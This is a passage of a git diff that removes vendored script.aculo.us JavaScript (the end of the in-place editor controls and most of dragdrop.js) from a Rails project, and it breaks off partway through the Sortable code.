-    this._form.addClassName(this.options.loadingClassName);
-    this.showLoadingText(this.options.loadingCollectionText);
-    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
-    Object.extend(options, {
-      parameters: 'editorId=' + encodeURIComponent(this.element.id),
-      onComplete: Prototype.emptyFunction,
-      onSuccess: function(transport) {
-        var js = transport.responseText.strip();
-        if (!/^\[.*\]$/.test(js)) // TODO: improve sanity check
-          throw('Server returned an invalid collection representation.');
-        this._collection = eval(js);
-        this.checkForExternalText();
-      }.bind(this),
-      onFailure: this.onFailure
-    });
-    new Ajax.Request(this.options.loadCollectionURL, options);
-  },
-
-  showLoadingText: function(text) {
-    this._controls.editor.disabled = true;
-    var tempOption = this._controls.editor.firstChild;
-    if (!tempOption) {
-      tempOption = document.createElement('option');
-      tempOption.value = '';
-      this._controls.editor.appendChild(tempOption);
-      tempOption.selected = true;
-    }
-    tempOption.update((text || '').stripScripts().stripTags());
-  },
-
-  checkForExternalText: function() {
-    this._text = this.getText();
-    if (this.options.loadTextURL)
-      this.loadExternalText();
-    else
-      this.buildOptionList();
-  },
-
-  loadExternalText: function() {
-    this.showLoadingText(this.options.loadingText);
-    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
-    Object.extend(options, {
-      parameters: 'editorId=' + encodeURIComponent(this.element.id),
-      onComplete: Prototype.emptyFunction,
-      onSuccess: function(transport) {
-        this._text = transport.responseText.strip();
-        this.buildOptionList();
-      }.bind(this),
-      onFailure: this.onFailure
-    });
-    new Ajax.Request(this.options.loadTextURL, options);
-  },
-
-  buildOptionList: function() {
-    this._form.removeClassName(this.options.loadingClassName);
-    this._collection = this._collection.map(function(entry) {
-      return 2 === entry.length ? entry : [entry, entry].flatten();
-    });
-    var marker = ('value' in this.options) ? this.options.value : this._text;
-    var textFound = this._collection.any(function(entry) {
-      return entry[0] == marker;
-    }.bind(this));
-    this._controls.editor.update('');
-    var option;
-    this._collection.each(function(entry, index) {
-      option = document.createElement('option');
-      option.value = entry[0];
-      option.selected = textFound ? entry[0] == marker : 0 == index;
-      option.appendChild(document.createTextNode(entry[1]));
-      this._controls.editor.appendChild(option);
-    }.bind(this));
-    this._controls.editor.disabled = false;
-    Field.scrollFreeActivate(this._controls.editor);
-  }
-});
-
-//**** DEPRECATION LAYER FOR InPlace[Collection]Editor! ****
-//**** This only  exists for a while,  in order to  let ****
-//**** users adapt to  the new API.  Read up on the new ****
-//**** API and convert your code to it ASAP!            ****
-
-Ajax.InPlaceEditor.prototype.initialize.dealWithDeprecatedOptions = function(options) {
-  if (!options) return;
-  function fallback(name, expr) {
-    if (name in options || expr === undefined) return;
-    options[name] = expr;
-  };
-  fallback('cancelControl', (options.cancelLink ? 'link' : (options.cancelButton ? 'button' :
-    options.cancelLink == options.cancelButton == false ? false : undefined)));
-  fallback('okControl', (options.okLink ? 'link' : (options.okButton ? 'button' :
-    options.okLink == options.okButton == false ? false : undefined)));
-  fallback('highlightColor', options.highlightcolor);
-  fallback('highlightEndColor', options.highlightendcolor);
-};
-
-Object.extend(Ajax.InPlaceEditor, {
-  DefaultOptions: {
-    ajaxOptions: { },
-    autoRows: 3,                                // Use when multi-line w/ rows == 1
-    cancelControl: 'link',                      // 'link'|'button'|false
-    cancelText: 'cancel',
-    clickToEditText: 'Click to edit',
-    externalControl: null,                      // id|elt
-    externalControlOnly: false,
-    fieldPostCreation: 'activate',              // 'activate'|'focus'|false
-    formClassName: 'inplaceeditor-form',
-    formId: null,                               // id|elt
-    highlightColor: '#ffff99',
-    highlightEndColor: '#ffffff',
-    hoverClassName: '',
-    htmlResponse: true,
-    loadingClassName: 'inplaceeditor-loading',
-    loadingText: 'Loading...',
-    okControl: 'button',                        // 'link'|'button'|false
-    okText: 'ok',
-    paramName: 'value',
-    rows: 1,                                    // If 1 and multi-line, uses autoRows
-    savingClassName: 'inplaceeditor-saving',
-    savingText: 'Saving...',
-    size: 0,
-    stripLoadedTextTags: false,
-    submitOnBlur: false,
-    textAfterControls: '',
-    textBeforeControls: '',
-    textBetweenControls: ''
-  },
-  DefaultCallbacks: {
-    callback: function(form) {
-      return Form.serialize(form);
-    },
-    onComplete: function(transport, element) {
-      // For backward compatibility, this one is bound to the IPE, and passes
-      // the element directly.  It was too often customized, so we don't break it.
-      new Effect.Highlight(element, {
-        startcolor: this.options.highlightColor, keepBackgroundImage: true });
-    },
-    onEnterEditMode: null,
-    onEnterHover: function(ipe) {
-      ipe.element.style.backgroundColor = ipe.options.highlightColor;
-      if (ipe._effect)
-        ipe._effect.cancel();
-    },
-    onFailure: function(transport, ipe) {
-      alert('Error communication with the server: ' + transport.responseText.stripTags());
-    },
-    onFormCustomization: null, // Takes the IPE and its generated form, after editor, before controls.
-    onLeaveEditMode: null,
-    onLeaveHover: function(ipe) {
-      ipe._effect = new Effect.Highlight(ipe.element, {
-        startcolor: ipe.options.highlightColor, endcolor: ipe.options.highlightEndColor,
-        restorecolor: ipe._originalBackground, keepBackgroundImage: true
-      });
-    }
-  },
-  Listeners: {
-    click: 'enterEditMode',
-    keydown: 'checkForEscapeOrReturn',
-    mouseover: 'enterHover',
-    mouseout: 'leaveHover'
-  }
-});
-
-Ajax.InPlaceCollectionEditor.DefaultOptions = {
-  loadingCollectionText: 'Loading options...'
-};
-
-// Delayed observer, like Form.Element.Observer,
-// but waits for delay after last key input
-// Ideal for live-search fields
-
-Form.Element.DelayedObserver = Class.create({
-  initialize: function(element, delay, callback) {
-    this.delay     = delay || 0.5;
-    this.element   = $(element);
-    this.callback  = callback;
-    this.timer     = null;
-    this.lastValue = $F(this.element);
-    Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this));
-  },
-  delayedListener: function(event) {
-    if(this.lastValue == $F(this.element)) return;
-    if(this.timer) clearTimeout(this.timer);
-    this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000);
-    this.lastValue = $F(this.element);
-  },
-  onTimerEvent: function() {
-    this.timer = null;
-    this.callback(this.element, $F(this.element));
-  }
-});
\ No newline at end of file
diff --git a/vendor/rails/railties/html/javascripts/dragdrop.js b/vendor/rails/railties/html/javascripts/dragdrop.js
deleted file mode 100644
index 07229f98..00000000
--- a/vendor/rails/railties/html/javascripts/dragdrop.js
+++ /dev/null
@@ -1,973 +0,0 @@
-// Copyright (c) 2005-2008 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
-//           (c) 2005-2008 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz)
-//
-// script.aculo.us is freely distributable under the terms of an MIT-style license.
-// For details, see the script.aculo.us web site: http://script.aculo.us/
-
-if(Object.isUndefined(Effect))
-  throw("dragdrop.js requires including script.aculo.us' effects.js library");
-
-var Droppables = {
-  drops: [],
-
-  remove: function(element) {
-    this.drops = this.drops.reject(function(d) { return d.element==$(element) });
-  },
-
-  add: function(element) {
-    element = $(element);
-    var options = Object.extend({
-      greedy:     true,
-      hoverclass: null,
-      tree:       false
-    }, arguments[1] || { });
-
-    // cache containers
-    if(options.containment) {
-      options._containers = [];
-      var containment = options.containment;
-      if(Object.isArray(containment)) {
-        containment.each( function(c) { options._containers.push($(c)) });
-      } else {
-        options._containers.push($(containment));
-      }
-    }
-
-    if(options.accept) options.accept = [options.accept].flatten();
-
-    Element.makePositioned(element); // fix IE
-    options.element = element;
-
-    this.drops.push(options);
-  },
-
-  findDeepestChild: function(drops) {
-    deepest = drops[0];
-
-    for (i = 1; i < drops.length; ++i)
-      if (Element.isParent(drops[i].element, deepest.element))
-        deepest = drops[i];
-
-    return deepest;
-  },
-
-  isContained: function(element, drop) {
-    var containmentNode;
-    if(drop.tree) {
-      containmentNode = element.treeNode;
-    } else {
-      containmentNode = element.parentNode;
-    }
-    return drop._containers.detect(function(c) { return containmentNode == c });
-  },
-
-  isAffected: function(point, element, drop) {
-    return (
-      (drop.element!=element) &&
-      ((!drop._containers) ||
-        this.isContained(element, drop)) &&
-      ((!drop.accept) ||
-        (Element.classNames(element).detect(
-          function(v) { return drop.accept.include(v) } ) )) &&
-      Position.within(drop.element, point[0], point[1]) );
-  },
-
-  deactivate: function(drop) {
-    if(drop.hoverclass)
-      Element.removeClassName(drop.element, drop.hoverclass);
-    this.last_active = null;
-  },
-
-  activate: function(drop) {
-    if(drop.hoverclass)
-      Element.addClassName(drop.element, drop.hoverclass);
-    this.last_active = drop;
-  },
-
-  show: function(point, element) {
-    if(!this.drops.length) return;
-    var drop, affected = [];
-
-    this.drops.each( function(drop) {
-      if(Droppables.isAffected(point, element, drop))
-        affected.push(drop);
-    });
-
-    if(affected.length>0)
-      drop = Droppables.findDeepestChild(affected);
-
-    if(this.last_active && this.last_active != drop) this.deactivate(this.last_active);
-    if (drop) {
-      Position.within(drop.element, point[0], point[1]);
-      if(drop.onHover)
-        drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element));
-
-      if (drop != this.last_active) Droppables.activate(drop);
-    }
-  },
-
-  fire: function(event, element) {
-    if(!this.last_active) return;
-    Position.prepare();
-
-    if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active))
-      if (this.last_active.onDrop) {
-        this.last_active.onDrop(element, this.last_active.element, event);
-        return true;
-      }
-  },
-
-  reset: function() {
-    if(this.last_active)
-      this.deactivate(this.last_active);
-  }
-};
-
-var Draggables = {
-  drags: [],
-  observers: [],
-
-  register: function(draggable) {
-    if(this.drags.length == 0) {
-      this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
-      this.eventMouseMove = this.updateDrag.bindAsEventListener(this);
-      this.eventKeypress  = this.keyPress.bindAsEventListener(this);
-
-      Event.observe(document, "mouseup", this.eventMouseUp);
-      Event.observe(document, "mousemove", this.eventMouseMove);
-      Event.observe(document, "keypress", this.eventKeypress);
-    }
-    this.drags.push(draggable);
-  },
-
-  unregister: function(draggable) {
-    this.drags = this.drags.reject(function(d) { return d==draggable });
-    if(this.drags.length == 0) {
-      Event.stopObserving(document, "mouseup", this.eventMouseUp);
-      Event.stopObserving(document, "mousemove", this.eventMouseMove);
-      Event.stopObserving(document, "keypress", this.eventKeypress);
-    }
-  },
-
-  activate: function(draggable) {
-    if(draggable.options.delay) {
-      this._timeout = setTimeout(function() {
-        Draggables._timeout = null;
-        window.focus();
-        Draggables.activeDraggable = draggable;
-      }.bind(this), draggable.options.delay);
-    } else {
-      window.focus(); // allows keypress events if window isn't currently focused, fails for Safari
-      this.activeDraggable = draggable;
-    }
-  },
-
-  deactivate: function() {
-    this.activeDraggable = null;
-  },
-
-  updateDrag: function(event) {
-    if(!this.activeDraggable) return;
-    var pointer = [Event.pointerX(event), Event.pointerY(event)];
-    // Mozilla-based browsers fire successive mousemove events with
-    // the same coordinates, prevent needless redrawing (moz bug?)
-    if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return;
-    this._lastPointer = pointer;
-
-    this.activeDraggable.updateDrag(event, pointer);
-  },
-
-  endDrag: function(event) {
-    if(this._timeout) {
-      clearTimeout(this._timeout);
-      this._timeout = null;
-    }
-    if(!this.activeDraggable) return;
-    this._lastPointer = null;
-    this.activeDraggable.endDrag(event);
-    this.activeDraggable = null;
-  },
-
-  keyPress: function(event) {
-    if(this.activeDraggable)
-      this.activeDraggable.keyPress(event);
-  },
-
-  addObserver: function(observer) {
-    this.observers.push(observer);
-    this._cacheObserverCallbacks();
-  },
-
-  removeObserver: function(element) {  // element instead of observer fixes mem leaks
-    this.observers = this.observers.reject( function(o) { return o.element==element });
-    this._cacheObserverCallbacks();
-  },
-
-  notify: function(eventName, draggable, event) {  // 'onStart', 'onEnd', 'onDrag'
-    if(this[eventName+'Count'] > 0)
-      this.observers.each( function(o) {
-        if(o[eventName]) o[eventName](eventName, draggable, event);
-      });
-    if(draggable.options[eventName]) draggable.options[eventName](draggable, event);
-  },
-
-  _cacheObserverCallbacks: function() {
-    ['onStart','onEnd','onDrag'].each( function(eventName) {
-      Draggables[eventName+'Count'] = Draggables.observers.select(
-        function(o) { return o[eventName]; }
-      ).length;
-    });
-  }
-};
-
-/*--------------------------------------------------------------------------*/
-
-var Draggable = Class.create({
-  initialize: function(element) {
-    var defaults = {
-      handle: false,
-      reverteffect: function(element, top_offset, left_offset) {
-        var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02;
-        new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur,
-          queue: {scope:'_draggable', position:'end'}
-        });
-      },
-      endeffect: function(element) {
-        var toOpacity = Object.isNumber(element._opacity) ? element._opacity : 1.0;
-        new Effect.Opacity(element, {duration:0.2, from:0.7, to:toOpacity,
-          queue: {scope:'_draggable', position:'end'},
-          afterFinish: function(){
-            Draggable._dragging[element] = false
-          }
-        });
-      },
-      zindex: 1000,
-      revert: false,
-      quiet: false,
-      scroll: false,
-      scrollSensitivity: 20,
-      scrollSpeed: 15,
-      snap: false,  // false, or xy or [x,y] or function(x,y){ return [x,y] }
-      delay: 0
-    };
-
-    if(!arguments[1] || Object.isUndefined(arguments[1].endeffect))
-      Object.extend(defaults, {
-        starteffect: function(element) {
-          element._opacity = Element.getOpacity(element);
-          Draggable._dragging[element] = true;
-          new Effect.Opacity(element, {duration:0.2, from:element._opacity, to:0.7});
-        }
-      });
-
-    var options = Object.extend(defaults, arguments[1] || { });
-
-    this.element = $(element);
-
-    if(options.handle && Object.isString(options.handle))
-      this.handle = this.element.down('.'+options.handle, 0);
-
-    if(!this.handle) this.handle = $(options.handle);
-    if(!this.handle) this.handle = this.element;
-
-    if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) {
-      options.scroll = $(options.scroll);
-      this._isScrollChild = Element.childOf(this.element, options.scroll);
-    }
-
-    Element.makePositioned(this.element); // fix IE
-
-    this.options  = options;
-    this.dragging = false;
-
-    this.eventMouseDown = this.initDrag.bindAsEventListener(this);
-    Event.observe(this.handle, "mousedown", this.eventMouseDown);
-
-    Draggables.register(this);
-  },
-
-  destroy: function() {
-    Event.stopObserving(this.handle, "mousedown", this.eventMouseDown);
-    Draggables.unregister(this);
-  },
-
-  currentDelta: function() {
-    return([
-      parseInt(Element.getStyle(this.element,'left') || '0'),
-      parseInt(Element.getStyle(this.element,'top') || '0')]);
-  },
-
-  initDrag: function(event) {
-    if(!Object.isUndefined(Draggable._dragging[this.element]) &&
-      Draggable._dragging[this.element]) return;
-    if(Event.isLeftClick(event)) {
-      // abort on form elements, fixes a Firefox issue
-      var src = Event.element(event);
-      if((tag_name = src.tagName.toUpperCase()) && (
-        tag_name=='INPUT' ||
-        tag_name=='SELECT' ||
-        tag_name=='OPTION' ||
-        tag_name=='BUTTON' ||
-        tag_name=='TEXTAREA')) return;
-
-      var pointer = [Event.pointerX(event), Event.pointerY(event)];
-      var pos     = Position.cumulativeOffset(this.element);
-      this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) });
-
-      Draggables.activate(this);
-      Event.stop(event);
-    }
-  },
-
-  startDrag: function(event) {
-    this.dragging = true;
-    if(!this.delta)
-      this.delta = this.currentDelta();
-
-    if(this.options.zindex) {
-      this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0);
-      this.element.style.zIndex = this.options.zindex;
-    }
-
-    if(this.options.ghosting) {
-      this._clone = this.element.cloneNode(true);
-      this._originallyAbsolute = (this.element.getStyle('position') == 'absolute');
-      if (!this._originallyAbsolute)
-        Position.absolutize(this.element);
-      this.element.parentNode.insertBefore(this._clone, this.element);
-    }
-
-    if(this.options.scroll) {
-      if (this.options.scroll == window) {
-        var where = this._getWindowScroll(this.options.scroll);
-        this.originalScrollLeft = where.left;
-        this.originalScrollTop = where.top;
-      } else {
-        this.originalScrollLeft = this.options.scroll.scrollLeft;
-        this.originalScrollTop = this.options.scroll.scrollTop;
-      }
-    }
-
-    Draggables.notify('onStart', this, event);
-
-    if(this.options.starteffect) this.options.starteffect(this.element);
-  },
-
-  updateDrag: function(event, pointer) {
-    if(!this.dragging) this.startDrag(event);
-
-    if(!this.options.quiet){
-      Position.prepare();
-      Droppables.show(pointer, this.element);
-    }
-
-    Draggables.notify('onDrag', this, event);
-
-    this.draw(pointer);
-    if(this.options.change) this.options.change(this);
-
-    if(this.options.scroll) {
-      this.stopScrolling();
-
-      var p;
-      if (this.options.scroll == window) {
-        with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; }
-      } else {
-        p = Position.page(this.options.scroll);
-        p[0] += this.options.scroll.scrollLeft + Position.deltaX;
-        p[1] += this.options.scroll.scrollTop + Position.deltaY;
-        p.push(p[0]+this.options.scroll.offsetWidth);
-        p.push(p[1]+this.options.scroll.offsetHeight);
-      }
-      var speed = [0,0];
-      if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity);
-      if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity);
-      if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity);
-      if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity);
-      this.startScrolling(speed);
-    }
-
-    // fix AppleWebKit rendering
-    if(Prototype.Browser.WebKit) window.scrollBy(0,0);
-
-    Event.stop(event);
-  },
-
-  finishDrag: function(event, success) {
-    this.dragging = false;
-
-    if(this.options.quiet){
-      Position.prepare();
-      var pointer = [Event.pointerX(event), Event.pointerY(event)];
-      Droppables.show(pointer, this.element);
-    }
-
-    if(this.options.ghosting) {
-      if (!this._originallyAbsolute)
-        Position.relativize(this.element);
-      delete this._originallyAbsolute;
-      Element.remove(this._clone);
-      this._clone = null;
-    }
-
-    var dropped = false;
-    if(success) {
-      dropped = Droppables.fire(event, this.element);
-      if (!dropped) dropped = false;
-    }
-    if(dropped && this.options.onDropped) this.options.onDropped(this.element);
-    Draggables.notify('onEnd', this, event);
-
-    var revert = this.options.revert;
-    if(revert && Object.isFunction(revert)) revert = revert(this.element);
-
-    var d = this.currentDelta();
-    if(revert && this.options.reverteffect) {
-      if (dropped == 0 || revert != 'failure')
-        this.options.reverteffect(this.element,
-          d[1]-this.delta[1], d[0]-this.delta[0]);
-    } else {
-      this.delta = d;
-    }
-
-    if(this.options.zindex)
-      this.element.style.zIndex = this.originalZ;
-
-    if(this.options.endeffect)
-      this.options.endeffect(this.element);
-
-    Draggables.deactivate(this);
-    Droppables.reset();
-  },
-
-  keyPress: function(event) {
-    if(event.keyCode!=Event.KEY_ESC) return;
-    this.finishDrag(event, false);
-    Event.stop(event);
-  },
-
-  endDrag: function(event) {
-    if(!this.dragging) return;
-    this.stopScrolling();
-    this.finishDrag(event, true);
-    Event.stop(event);
-  },
-
-  draw: function(point) {
-    var pos = Position.cumulativeOffset(this.element);
-    if(this.options.ghosting) {
-      var r   = Position.realOffset(this.element);
-      pos[0] += r[0] - Position.deltaX; pos[1] += r[1] - Position.deltaY;
-    }
-
-    var d = this.currentDelta();
-    pos[0] -= d[0]; pos[1] -= d[1];
-
-    if(this.options.scroll && (this.options.scroll != window && this._isScrollChild)) {
-      pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft;
-      pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop;
-    }
-
-    var p = [0,1].map(function(i){
-      return (point[i]-pos[i]-this.offset[i])
-    }.bind(this));
-
-    if(this.options.snap) {
-      if(Object.isFunction(this.options.snap)) {
-        p = this.options.snap(p[0],p[1],this);
-      } else {
-      if(Object.isArray(this.options.snap)) {
-        p = p.map( function(v, i) {
-          return (v/this.options.snap[i]).round()*this.options.snap[i] }.bind(this));
-      } else {
-        p = p.map( function(v) {
-          return (v/this.options.snap).round()*this.options.snap }.bind(this));
-      }
-    }}
-
-    var style = this.element.style;
-    if((!this.options.constraint) || (this.options.constraint=='horizontal'))
-      style.left = p[0] + "px";
-    if((!this.options.constraint) || (this.options.constraint=='vertical'))
-      style.top  = p[1] + "px";
-
-    if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering
-  },
-
-  stopScrolling: function() {
-    if(this.scrollInterval) {
-      clearInterval(this.scrollInterval);
-      this.scrollInterval = null;
-      Draggables._lastScrollPointer = null;
-    }
-  },
-
-  startScrolling: function(speed) {
-    if(!(speed[0] || speed[1])) return;
-    this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed];
-    this.lastScrolled = new Date();
-    this.scrollInterval = setInterval(this.scroll.bind(this), 10);
-  },
-
-  scroll: function() {
-    var current = new Date();
-    var delta = current - this.lastScrolled;
-    this.lastScrolled = current;
-    if(this.options.scroll == window) {
-      with (this._getWindowScroll(this.options.scroll)) {
-        if (this.scrollSpeed[0] || this.scrollSpeed[1]) {
-          var d = delta / 1000;
-          this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] );
-        }
-      }
-    } else {
-      this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000;
-      this.options.scroll.scrollTop  += this.scrollSpeed[1] * delta / 1000;
-    }
-
-    Position.prepare();
-    Droppables.show(Draggables._lastPointer, this.element);
-    Draggables.notify('onDrag', this);
-    if (this._isScrollChild) {
-      Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer);
-      Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000;
-      Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000;
-      if (Draggables._lastScrollPointer[0] < 0)
-        Draggables._lastScrollPointer[0] = 0;
-      if (Draggables._lastScrollPointer[1] < 0)
-        Draggables._lastScrollPointer[1] = 0;
-      this.draw(Draggables._lastScrollPointer);
-    }
-
-    if(this.options.change) this.options.change(this);
-  },
-
-  _getWindowScroll: function(w) {
-    var T, L, W, H;
-    with (w.document) {
-      if (w.document.documentElement && documentElement.scrollTop) {
-        T = documentElement.scrollTop;
-        L = documentElement.scrollLeft;
-      } else if (w.document.body) {
-        T = body.scrollTop;
-        L = body.scrollLeft;
-      }
-      if (w.innerWidth) {
-        W = w.innerWidth;
-        H = w.innerHeight;
-      } else if (w.document.documentElement && documentElement.clientWidth) {
-        W = documentElement.clientWidth;
-        H = documentElement.clientHeight;
-      } else {
-        W = body.offsetWidth;
-        H = body.offsetHeight;
-      }
-    }
-    return { top: T, left: L, width: W, height: H };
-  }
-});
-
-Draggable._dragging = { };
-
-/*--------------------------------------------------------------------------*/
-
-var SortableObserver = Class.create({
-  initialize: function(element, observer) {
-    this.element   = $(element);
-    this.observer  = observer;
-    this.lastValue = Sortable.serialize(this.element);
-  },
-
-  onStart: function() {
-    this.lastValue = Sortable.serialize(this.element);
-  },
-
-  onEnd: function() {
-    Sortable.unmark();
-    if(this.lastValue != Sortable.serialize(this.element))
-      this.observer(this.element)
-  }
-});
-
-var Sortable = {
-  SERIALIZE_RULE: /^[^_\-](?:[A-Za-z0-9\-\_]*)[_](.*)$/,
-
-  sortables: { },
-
-  _findRootElement: function(element) {
-    while (element.tagName.toUpperCase() != "BODY") {
-      if(element.id && Sortable.sortables[element.id]) return element;
-      element = element.parentNode;
-    }
-  },
-
-  options: function(element) {
-    element = Sortable._findRootElement($(element));
-    if(!element) return;
-    return Sortable.sortables[element.id];
-  },
-
-  destroy: function(element){
-    element = $(element);
-    var s = Sortable.sortables[element.id];
-
-    if(s) {
-      Draggables.removeObserver(s.element);
-      s.droppables.each(function(d){ Droppables.remove(d) });
-      s.draggables.invoke('destroy');
-
-      delete Sortable.sortables[s.element.id];
-    }
-  },
-
-  create: function(element) {
-    element = $(element);
-    var options = Object.extend({
-      element:     element,
-      tag:         'li',       // assumes li children, override with tag: 'tagname'
-      dropOnEmpty: false,
-      tree:        false,
-      treeTag:     'ul',
-      overlap:     'vertical', // one of 'vertical', 'horizontal'
-      constraint:  'vertical', // one of 'vertical', 'horizontal', false
-      containment: element,    // also takes array of elements (or id's); or false
-      handle:      false,      // or a CSS class
-      only:        false,
-      delay:       0,
-      hoverclass:  null,
-      ghosting:    false,
-      quiet:       false,
-      scroll:      false,
-      scrollSensitivity: 20,
-      scrollSpeed: 15,
-      format:      this.SERIALIZE_RULE,
-
-      // these take arrays of elements or ids and can be
-      // used for better initialization performance
-      elements:    false,
-      handles:     false,
-
-      onChange:    Prototype.emptyFunction,
-      onUpdate:    Prototype.emptyFunction
-    }, arguments[1] || { });
-
-    // clear any old sortable with same element
-    this.destroy(element);
-
-    // build options for the draggables
-    var options_for_draggable = {
-      revert:      true,
-      quiet:       options.quiet,
-      scroll:      options.scroll,
-      scrollSpeed: options.scrollSpeed,
-      scrollSensitivity: options.scrollSensitivity,
-      delay:       options.delay,
-      ghosting:    options.ghosting,
-      constraint:  options.constraint,
-      handle:      options.handle };
-
-    if(options.starteffect)
-      options_for_draggable.starteffect = options.starteffect;
-
-    if(options.reverteffect)
-      options_for_draggable.reverteffect = options.reverteffect;
-    else
-      if(options.ghosting) options_for_draggable.reverteffect = function(element) {
-        element.style.top  = 0;
-        element.style.left = 0;
-      };
-
-    if(options.endeffect)
-      options_for_draggable.endeffect = options.endeffect;
-
-    if(options.zindex)
-      options_for_draggable.zindex = options.zindex;
-
-    // build options for the droppables
-    var options_for_droppable = {
-      overlap:     options.overlap,
-      containment: options.containment,
-      tree:        options.tree,
-      hoverclass:  options.hoverclass,
-      onHover:     Sortable.onHover
-    };
-
-    var options_for_tree = {
-      onHover:      Sortable.onEmptyHover,
-      overlap:      options.overlap,
-      containment:  options.containment,
-      hoverclass:   options.hoverclass
-    };
-
-    // fix for gecko engine
-    Element.cleanWhitespace(element);
-
-    options.draggables = [];
-    options.droppables = [];
-
-    // drop on empty handling
-    if(options.dropOnEmpty || options.tree) {
-      Droppables.add(element, options_for_tree);
-      options.droppables.push(element);
-    }
-
-    (options.elements || this.findElements(element, options) || []).each( function(e,i) {
-      var handle = options.handles ? $(options.handles[i]) :
-        (options.handle ? $(e).select('.' + options.handle)[0] : e);
-      options.draggables.push(
-        new Draggable(e, Object.extend(options_for_draggable, { handle: handle })));
-      Droppables.add(e, options_for_droppable);
-      if(options.tree) e.treeNode = element;
-      options.droppables.push(e);
-    });
-
-    if(options.tree) {
-      (Sortable.findTreeElements(element, options) || []).each( function(e) {
-        Droppables.add(e, options_for_tree);
-        e.treeNode = element;
-        options.droppables.push(e);
-      });
-    }
-
-    // keep reference
-    this.sortables[element.id] = options;
-
-    // for onupdate
-    Draggables.addObserver(new SortableObserver(element, options.onUpdate));
-
-  },
-
-  // return all suitable-for-sortable elements in a guaranteed order
-  findElements: function(element, options) {
-    return Element.findChildren(
-      element, options.only, options.tree ? true : false, options.tag);
-  },
-
-  findTreeElements: function(element, options) {
-    return Element.findChildren(
-      element, options.only, options.tree ? true : false, options.treeTag);
-  },
-
-  onHover: function(element, dropon, overlap) {
-    if(Element.isParent(dropon, element)) return;
-
-    if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) {
-      return;
-    } else if(overlap>0.5) {
-      Sortable.mark(dropon, 'before');
-      if(dropon.previousSibling != element) {
-        var oldParentNode = element.parentNode;
-        element.style.visibility = "hidden"; // fix gecko rendering
-        dropon.parentNode.insertBefore(element, dropon);
-        if(dropon.parentNode!=oldParentNode)
-          Sortable.options(oldParentNode).onChange(element);
-        Sortable.options(dropon.parentNode).onChange(element);
-      }
-    } else {
-      Sortable.mark(dropon, 'after');
-      var nextElement = dropon.nextSibling || null;
-      if(nextElement != element) {
-        var oldParentNode = element.parentNode;
-        element.style.visibility = "hidden"; // fix gecko rendering
-        dropon.parentNode.insertBefore(element, nextElement);
-        if(dropon.parentNode!=oldParentNode)
-          Sortable.options(oldParentNode).onChange(element);
-        Sortable.options(dropon.parentNode).onChange(element);
-      }
-    }
-  },
-
-  onEmptyHover: function(element, dropon, overlap) {
-    var oldParentNode = element.parentNode;
-    var droponOptions = Sortable.options(dropon);
-
-    if(!Element.isParent(dropon, element)) {
-      var index;
-
-      var children = Sortable.findElements(dropon, {tag: droponOptions.tag, only: droponOptions.only});
-      var child = null;
-
-      if(children) {
-        var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap);
-
-        for (index = 0; index < children.length; index += 1) {
-          if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) {
-            offset -= Element.offsetSize (children[index], droponOptions.overlap);
-          } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) {
-            child = index + 1 < children.length ? children[index + 1] : null;
-            break;
-          } else {
-            child = children[index];
-            break;
-          }
-        }
-      }
-
-      dropon.insertBefore(element, child);
-
-      Sortable.options(oldParentNode).onChange(element);
-      droponOptions.onChange(element);
-    }
-  },
-
-  unmark: function() {
-    if(Sortable._marker) Sortable._marker.hide();
-  },
-
-  mark: function(dropon, position) {
-    // mark on ghosting only
-    var sortable = Sortable.options(dropon.parentNode);
-    if(sortable && !sortable.ghosting) return;
-
-    if(!Sortable._marker) {
-      Sortable._marker =
-        ($('dropmarker') || Element.extend(document.createElement('DIV'))).
-          hide().addClassName('dropmarker').setStyle({position:'absolute'});
-      document.getElementsByTagName("body").item(0).appendChild(Sortable._marker);
-    }
-    var offsets = Position.cumulativeOffset(dropon);
-    Sortable._marker.setStyle({left: offsets[0]+'px', top: offsets[1] + 'px'});
-
-    if(position=='after')
-      if(sortable.overlap == 'horizontal')
-        Sortable._marker.setStyle({left: (offsets[0]+dropon.clientWidth) + 'px'});
-      else
-        Sortable._marker.setStyle({top: (offsets[1]+dropon.clientHeight) + 'px'});
-
-    Sortable._marker.show();
-  },
-
-  _tree: function(element, options, parent) {
-    var children = Sortable.findElements(element, options) || [];
-
-    for (var i = 0; i < children.length; ++i) {
-      var match = children[i].id.match(options.format);
-
-      if (!match) continue;
